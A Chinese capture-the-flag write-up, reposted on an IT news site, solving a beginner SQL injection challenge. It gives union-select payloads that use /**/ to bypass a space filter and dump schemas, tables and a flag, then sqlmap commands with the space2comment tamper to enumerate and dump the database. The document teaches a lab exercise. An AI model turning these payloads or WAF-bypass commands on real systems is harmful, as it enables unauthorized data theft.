简单的sql注入——实验吧
刚刚做了实验吧的题目,现在整理一下
写出解题思路,希望能够帮助到那些需要帮助的人
所有的wp都是以一题一篇的形式写出
主要是为了能够让读者更好的阅读以及查找,
希望你们不要责怪!!共勉!!!
永远爱你们的————新宝宝
简单的sql注入分值:10
- 来源: 实验吧
- 难度:中
- 参与人数:18007人
- Get Flag:5644人
- 答题人数:6513人
- 解题通过率:87%
通过注入获得flag值(提交格式:flag{})。
解题链接: http://ctf5.shiyanbar.com/423/web/
解题思路:这一题涵盖的内容不多,但是也让我有了一些进步(毕竟我还是萌新呀!!)
第一种方法:
首先:进行简单的手工注入:
1 and 1=1,通常这种情况会正常返回数据
1 and 1=2,通常这种情况不会返回数据或者直接报错
或者
- 1’ and ‘1’=’1,通常这种情况会正常返回数据
- 1’ and ‘1’=’2,通常这种情况不会返回数据或者直接报错
-
- 分析:
- 假如后台处理数据的sql语句(后台在输入上加了单引号)是:
select name from user where id='our_input'
-
- 我们输入1’ and ‘1’=’1,sql语句变为:
select name from user where id='1' and '1'='1'
后台数据库仍然正常读取数据
我们输入1’ and ‘1’=’2,sql语句变为:
select name from user where id='1' and '1'='2'
-
- 这样查询条件为假,数据库不能读取数据。
基于上述的方式进行注入,我们首先使用 1and 1=1
如何 1 and 1=1'
出现错误了,然后,我们再输入:1and 1=1
就会发现and被过滤了并且空格被替换为+,因此我们可以推断,这个题过滤了常用的sql命令,
可以输入union and select from进行下测试,发现果然全被过滤掉了
这个时候我们需要知道:当空格被过滤的时候,通常用()或者/**/代替空格
那么我们可以选择爆库:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
就会得到:
再找一下表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
发现有flag的表,很开森就继续爆flag:
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1
然而出现了错误(QAQ)
那么我们直接查询其内容吧:
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
就会得到:
第二题:
使用sqlmap也是可以的
这里我们会用到tamper,是Python写的,sqlmap一般自带,主要的作用是绕过WAF ,空格被过滤可以使用space2comment.py,
过滤系统对大小写敏感可以使用randomcase.py等等。
这里用的level参数是执行测试的等级(1-5,默认为1) ,sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会
测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值
首先爆库:
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment --dbs
其中:1.sqlmap:启动sqlmap。2.-u:参数 指目标的URL。3.--tamper:绕过WAF脚本。
4.space2comment :tamper脚本之一用于绕过过滤空格。5.--dbs列举数据库
然后在web1数据库中查找:
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 --table
其中:1.-D:后面跟数据库的名字。2.--tables:列举库中的表格
然后在flag表中继续查找
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 -T flag --colum
其中:1.-T:后面跟表格名字。2.--column列举表格中的列名
继续进行就会得到最后的结果:
其中:1.-C后面跟列的名字。2.--dump取出表单所有记录
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
web前端知识体系大全,教你如何学习前端!
大约在几个月之前,让我看完了《webkit技术内幕》这本书的时候,突然有了一个想法。想把整个web前端开发所需要的知识都之中在一个视图中,形成一个完整的web前端知识体系,目的是想要颠覆人们对于前端只有三大块(html、css、js)的认识——做web前端需要的比这三大块要多得多。 拖了好几个月了,但是由于近期将要参加的某一个活动,我不得不这两天把这个东西整出来。说干就干。上午我就开始在办公室画草图,乱七八糟的在那儿理思路。 大家不要害怕,其实下文中的这个知识框架要比草图中的好看的多,草图大家权当没看见。 好了,废话不扯。下面请跟随我本博客的内容,来看看web前端开发除了htm、css和js之外,还有哪些东西需要你一步一步去掌握。 在看内容之前,先看一下这个知识框架的预览图 2.分类 所有知识框架,那肯定是一个结构型的展现,就是一棵树。web前端的知识点非常多,也非常散,需要好几层结构来组织这个体系,否则就会显得很乱。那么如何组织、把谁和谁放在一块儿?这是真正值得我们去思考的,你也可以自己来思考一下这个问题。 在我总结的这个知识框架中,首先第一层我划分为:理论知识,类库框架,编码开发,...
- 下一篇
TensorFlow 高效编程
TensorFlow 高效编程 原文:vahidk/EffectiveTensorflow 译者:FesianXu、飞龙 协议:CC BY-NC-SA 4.0 一、TensorFlow 基础 TensorFlow 和其他数字计算库(如 numpy)之间最明显的区别在于 TensorFlow 中操作的是符号。这是一个强大的功能,这保证了 TensorFlow 可以做很多其他库(例如 numpy)不能完成的事情(例如自动区分)。这可能也是它更复杂的原因。今天我们来一步步探秘 TensorFlow,并为更有效地使用 TensorFlow 提供了一些指导方针和最佳实践。 我们从一个简单的例子开始,我们要乘以两个随机矩阵。首先我们来看一下在 numpy 中如何实现: import numpy as np x = np.random.normal(size=[10, 10]) y = np.random.normal(size=[10, 10]) z = np.dot(x, y) print(z) 现在我们使用 TensorFlow 中执行完全相同的计算: import TensorFlow as...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- 设置Eclipse缩进为4个空格,增强代码规范
- CentOS8安装Docker,最新的服务器搭配容器使用
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS8编译安装MySQL8.0.19
- SpringBoot2整合Redis,开启缓存,提高访问速度
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- Hadoop3单机部署,实现最简伪集群
- CentOS7,CentOS8安装Elasticsearch6.8.6